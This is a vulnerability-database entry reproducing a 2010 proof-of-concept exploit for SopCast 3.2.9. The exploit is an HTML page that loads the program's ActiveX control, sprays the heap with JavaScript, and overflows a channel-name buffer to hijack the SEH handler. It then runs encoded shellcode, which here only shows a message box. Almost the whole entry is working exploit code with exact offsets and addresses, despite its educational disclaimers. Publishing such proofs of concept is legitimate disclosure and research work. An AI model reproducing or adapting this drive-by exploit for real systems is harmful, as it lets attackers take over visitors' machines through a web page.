SopCast 3.2.9 - Remote Exploit (0day)

🗓️ 01 Jul 2014 00:00:00Reported by RootType
SopCast 3.2.9 Remote Exploit (0day) by Sud0, Software Link: http://www.sopcast.com, Version 3.2.9, Type of vuln: Stack Buffer Overflow - SE

                                                &#60;html&#62;
&#60;Center&#62;
&#60;H1&#62;Sopcast POC by Sud0&#60;br&#62;&#60;/H1&#62;
&#60;b&#62;Tested on XP SP3 EN on VBox with IE 7&#60;br&#62;
Spraying a lot to get a nice unicode usable address 0x20260078&#60;br&#62;
I sprayed with a set of P/P/R instructions to come back to the stack&#60;br&#62;
***Need internet connection on the box to trigger the vuln***&#60;br&#62;
Wait for the Spray to finish (IE will seem freezed for some seconds)&#60;br&#62;
The Sopcast control will be loaded and shown on the page&#60;br&#62;
wait approx 3 to 5 seconds and a message box should appear&#60;br&#62;
&#60;/b&#62;
&#60;/Center&#62;
&#60;!--
# Exploit Title : SopCast BOF
# Date          : August 10, 2010
# Author        : Sud0
# Bug found by  : Sud0
# Software Link : http://www.sopcast.com - http://www.easetuner.com
# Version       : 3.2.9
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox) Fully Patched, Internet Explorer 7
# Type of vuln  : Stack Buffer Overflow - SEH
# Advisory      : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-059
# Big thanks to : my wife for supporting me
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
 

|------------------------------------------------------------------|
|                         __               __                      |
|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
|                                                                  |
|                                       http://www.corelan.be:8800 |
|                                              [email protected] |
|                                                                  |
|-------------------------------------------------[ EIP Hunters ]--|

 Script provided &#39;as is&#39;, without any warranty.
 Use for educational purposes only.
 Do not use this code to do anything illegal !
 Corelan does not want anyone to use this script
 for malicious and/or illegal purposes
 Corelan cannot be held responsible for any illegal use.

 Note : you are not allowed to edit/modify this code.  
 If you do, Corelan cannot be held responsible for any damages this may cause.



--&#62;

&#60;object classid=&#39;clsid:8FEFF364-6A5F-4966-A917-A3AC28411659&#39; id=&#39;boom&#39; &#62;&#60;/object&#62;
&#60;script&#62;
// ######################################### Begin of spraying with (nops + Pop/Pop/Ret) instructions to come back to the stack

var nops = unescape(&#34;%49%41&#34;);  // some nice nops on ECX
var ppr = unescape(&#34;%49%58%49%58%49%c3&#34;);  // Pop EAX / pop EAX / Ret
var ppraddy = 0x20260078;
var BlockSize = 0x200000; 
var BlockHeaderSize = 0x26; 
var PPRSize = 0x6;
var nopSize = BlockSize - (PPRSize + BlockHeaderSize); 
var heapBlocks = (ppraddy+BlockSize*2)/(BlockSize*2); 
var Spray = new Array(); 
  while (nops.length&#60;nopSize) 
	{
	nops += nops; 
	}
nops = nops.substring(0,nopSize);
  for (i=0;i&#60;heapBlocks;i++) 
   { 
    Spray[i] = nops +  ppr; 
   } 
// ######################################### end of spraying

      var buffSize = 522;   // (516 + 6 = sop:// )offset to overwrite EIP
      var x=&#34;sop://&#34;;
	while (x.length&#60;buffSize) x += unescape(&#34;%41&#34;);
	x+=unescape(&#34;%41&#34;);
	x+=unescape(&#34;%41&#34;);
	x+=unescape(&#34;%87&#34;);  //low unicode bytes of seh destination address 0035 (0x20260087)
	x+=&#34;?&#34;;  //High unicode bytes of seh destination address 2026 (0x20260087)
	x+=unescape(&#34;%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49&#34;);
      x+=unescape(&#34;%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A&#34;);
      x+=unescape(&#34;%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49&#34;);
      x+=unescape(&#34;%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%52%49%c3&#34;);

// some junk before shellcode
for (i=0;i&#60;330;i++) 
   { 
    x+=unescape(&#34;%41&#34;);
   } 

// messagebox shellcode
x+=&#34;RRYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIA&#34;;
x+=&#34;IQI111AIAJQYAZBABABABABkMAGB9u4JBfyjK3kXYRTLdKDNQyBx2pzlqGYS4DKPqlpBkQfzl2kpvMLTKq6LH4KqnmP&#34;;
x+=&#34;TKMfNXNoLXrUL3Ny9qXQKOYQc0bkplo4nDrk15oLTKPTKUD8KQXj2kMzlX4K1JkpyqjK7sp7OY4KMdtKKQZNLqIomaw&#34;;
x+=&#34;PilVLRdWPBTlJ6a6olMJawWHil1YoKOKOmk3LKtMXSEgnRkojO4YqZK0fBkzlpKRkqJKlm1JKdKitRkkQxhe9oTLdML&#34;;
x+=&#34;31es6RKXKywdsY9UCYfbOx2npNZnzLpR8h5LkOKOkOQyQ5kT5kSNj8yRBSSWmLo4nrxhdKKOKOKOe9oUkXoxRLplMPK&#34;;
x+=&#34;O1XLsnRnNs41Xaet3REbRQx1LmTkZSYK6pVKOPULDqyWRPPWKSxg2Nm5lQwklktPRYXqN9okOYo38PlaQPnQH2HPCrO&#34;;
x+=&#34;2RqUNQ9KrhqLMTlG1yGsQXnPpXkpKp1XKpNs45s4OxQTmPOrQiQXpoOysDouQXMucHRPPllqWYrhPLktKaQy7qNQ6rN&#34;;
x+=&#34;rpSpQqBkOvpNQgPB0ioNuyxkZA&#34;;

// some junk after shellcode
for (i=0;i&#60;40000;i++) 
   { 
    x+=unescape(&#34;%41&#34;);
   } 

// calling the boom
    boom.ChannelName=x; // setting channel name
    boom.SetSopAddress(x); // getting address to trigger the boom

&#60;/script&#62;
&#60;/html&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1